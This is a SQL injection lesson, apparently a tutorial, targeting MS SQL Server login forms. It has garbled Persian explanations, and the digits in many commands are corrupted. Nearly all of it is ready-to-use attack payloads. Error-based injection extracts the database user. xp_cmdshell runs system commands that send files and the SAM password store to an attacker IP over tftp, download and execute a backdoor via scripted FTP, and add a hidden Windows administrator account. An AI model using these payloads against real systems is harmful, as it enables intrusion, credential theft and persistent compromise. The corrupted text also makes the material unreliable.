
SQL Injection (Lesson �)
(Using SQL Server)

ΪϴϨ̯�ϪΟϮΗ�ήҨί�Ε΍έϮΘγΩ�ϪΑ�

Login: a' or �=convert (int,user_name())--

Microsoft OLE DB Provider for SQL Server error '�����e��' 

Syntax error converting the nvarchar value 'dbo' to a column of data type int. 

/check.asp, line ���

Login: a' or �=convert(int,system_user)--

Microsoft OLE DB Provider for SQL Server error '�����e��' 

Syntax error converting the nvarchar value 'sa' to a column of data type int. 

/check.asp, line ��

ΪϴηΎΑ�̶ϣ�  exec xp_cmdshell ί΍�ϩΩΎϔΘγ΍�ϪΑ�ίΎΠϣ�ΎϤη ΪηΎΑ dbo ϭ sa ϕϮϓ�Ε΍έϮΘγΩ�̶ΟϭήΧ�Ϫ̯�̶ΗέϮλ�έΩ
ΪηΎΑ�ϩΪη�ΩϭΪΤϣ�Ε΍έϮΘγΩ�ϦҨ΍�Ζγ΍�Ϧ̰Ϥϣ�̵Ωέ΍Ϯϣ�έΩ�

ΪηΎΑ�̶ϣ�ήҨί�ΕέϮλ�ϪΑ�έϮΘγΩ�̶Ϡ̯�ϡήϓ���ΪϴηΎΑ�ϪΘη΍Ϊϧ�΍έ�ϪΤϔλ�έΩ�ΦγΎ̡�ϥΪҨΩ�έΎψΘϧ΍�̶ϟϭ�ΩϮη�̶ϣ�ϝΎϤϋ΍�Ε΍έϮΘγΩ�

Login: ' ; exec master..xp_cmdshell 'ms-dos command' --

ΩϮη�̶ϣ�ϩήϴΧΫ�έϭήγ�έΩ� file.txt ΪϨ̯�̶ϣ�ϩήϴΧΫ� file.txt ϞҨΎϓ�έΩ�΍έ dir C:\ ̶ΟϭήΧ�Ϫ̯�ήҨί�έϮΘγΩ�ϝΎΜϣ�̵΍ήΑ     

Login: ' ; exec master..xp_cmdshell 'dir c:\ > file�.txt' --

ήҨί�έϮΘγΩ�ΎҨ�ϭ�

Login: ' ; exec master..xp_cmdshell 'ipconfig > file�.txt'--

Login: ' ; exec master..xp_cmdshell 'echo dir c:\ /s > c:\file�.bat'--



ϼΜϣ�ϢϴϫΩ�̶ϣ�ϝΎϘΘϧ΍�ΩϮΧ�ήΗϮϴ̢ϣΎ̯�ϪΑ�΍έ�ήψϧ�ΩέϮϣ�̵Ύϫ�ϞҨΎϓ� tftp ήϴψϧ�̶Η΍έϮΘγΩ�ί΍�ϩΩΎϔΘγ΍�ΎΑ�β̢γ�ϭ      

Login: ' ; exec master..xp_cmdshell 'tftp -i <IP> Put file�.txt'--

Login: ' ; exec master..xp_cmdshell 'tftp -i <IP> PUT c:\winnt\repair\sam'--

ϼΜϣ�ϢϴϨ̯�̶ϣ� upload ϑΪϫ ϢΘδϴγ ̵ϭήΑ ΍έ  ( backdoor �ϞҨΎϓ�̮Ҩ�ΎҨ�ϼΜϣ

Login: ' ; exec master..xp_cmdshell 'tftp -i <IP> GET backdoor.exe'--

Ϩ̯�ϪόϟΎτϣ�̶ηίϮϣ΁�̵Ύϫ�ΖҨΎγ�ί΍�ϭέ�ϥϭ΍�ί΍�ϩΩΎϔΘγ΍�εϭέ�ΎϤΘΣ�ΪҨΩή̰ϧ�έΎ̯Ϊϴ� tftp ΎΑ�ϝΎΤΑ�ΎΗ�ή̳΍

�ϭ�ϊҨήγ�̵ΎϬηϭέ�ΩΎΠҨ΍�έΩ�ΎϤη�ϪΑ�Ύϫ�ϥΎϣήϓ�ϪΑ�ΎϤη�ςϠδΗ�ϥ΍ΰϴϣ�̶Ϡ̯�έϮτΑΪϨ̯�̶ϣ�̮Ϥ̯�̵έΎ̰ΘΑ΍�

FTP ϖҨήσ�ί΍�ϞҨΎϓ�ΖϓΎҨέΩ�̵΍ήΑ�ϝΎΜϣ    

'; exec MASTER..xp_cmdshell 'md %systemroot%\system��\mouse\'--

'; exec MASTER..xp_cmdshell 'echo open x.x.x.x ���>> %systemroot%\system��\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo USER smallMouse �������>> %systemroot%\system��\mouse
\file.txt'--

'; exec MASTER..xp_cmdshell 'echo binary >> %systemroot%\system��\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo get file.exe %systemroot%\system��\mouse\M.exe >> %
systemroot%\system��\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'echo quit >> %systemroot%\system��\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'ftp.exe -i -n -v -s:%systemroot%\system��\mouse\file.txt'--

'; exec MASTER..xp_cmdshell 'del %systemroot%\system��\mouse\file.txt'--

'; exec MASTER..xp_cmdshell '%systemroot%\system��\Mouse\M.exe'--

 (���=&) ΩήΑ�έΎ̰Α�΍έ�ϥ΁�έΎΑ�̮Ҩ�ςϘϓ�ΎϫέϮΘγΩ�ϦϴΑ�έΩ� %���ϥΩήΑέΎ̰Α�ΎΑ�ϥ΍ϮΗ�̶ϣ xp_cmdshell ΪϨ̩�̵ΎΠΑ

'; exec MASTER..xp_cmdshell 'dir C:\ > file�.txt %���tftp -i <IP> Put file�.txt'--



ϢϴϨ̯�̶ϣ�ΩΎΠҨ΍�ίϭΪϨҨϭ�̵ϭήΑ� admin ̶γήΘγΩ�΢τγ�ΎΑ�έίϮҨ�̮Ҩ�ήҨί�έϮΘγΩ�ί΍�ϩΩΎϔΘγ΍�ΎΑ

' ; exec master..xp_cmdshell 'net user Mouse ����/add %���net localgroup administrators M /add'--

User:  M
Pass: ���

�
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